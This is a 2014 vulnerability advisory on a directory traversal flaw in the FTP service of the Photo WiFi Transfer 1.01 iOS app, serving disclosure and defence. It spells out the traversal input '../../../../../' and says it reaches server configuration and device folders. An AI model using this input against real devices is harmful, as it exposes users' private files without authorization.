Document Title: =============== Photo WiFi Transfer 1.01 - Directory Traversal Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1285 Release Date: ============= 2014-07-31 Vulnerability Laboratory ID (VL-ID): ==================================== 1286 Common Vulnerability Scoring System: ==================================== 6.7 Product & Service Introduction: =============================== Using this app, you can download photos to a PC or a smartphone from your iPhone through WiFi. The app provides the easiest and fastest way to do it. Just run the app on the iPhone and open the web browser on your PC or another smart phone. That is all that you are required to do. It is quite simple. In addition to the web browser, a ftp client application is also supported to access the photos. Do not pay money for these functions as the app provides all of them without charging.

Vulnerability Disclosure Timeline: ================================== 2014-07-31: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== BlueFinger Apps Product: Photo WiFi Transfer - iOS Mobile Web Application (FTP) 1.01 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A directory traversal web vulnerability has been discovered in the official BlueFinger Photo WiFi Transfer v1.01 iOS mobile application. The vulnerability allows remote attackers to bypass the path restriction of a service to access sensitive app-, web-server or -device information. The vulnerability is located in the `ftp` (ftp://localhost:8080) service of the wifi `web-server` module. The issue allows an attacker to bypass the regular `folder/path` validation mechnism to access sensitive app web-server or iOS -device information. The attack vector of the issue is on the application-side of the service and to perform malicious request the `GET method` is required to use. After the start of the web-server by usage of the ftp function, the attacker is able to include 5 more path values (../../../../../) to access unauthorized higher folders outside the mobile application service. In the analysis we saw that the path change of 5 directories is required to bypass. During the tests we accessed the full app service folder and through the directory traversal to web-server configuration files but also the parent device directory. The security risk of the directory traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.7. Exploitation of the path traversal web vulnerability requires no privileged web-application user account or user interaction. Successful exploitation of the directory traversal vulnerability results in mobile application or connected device component compromise.
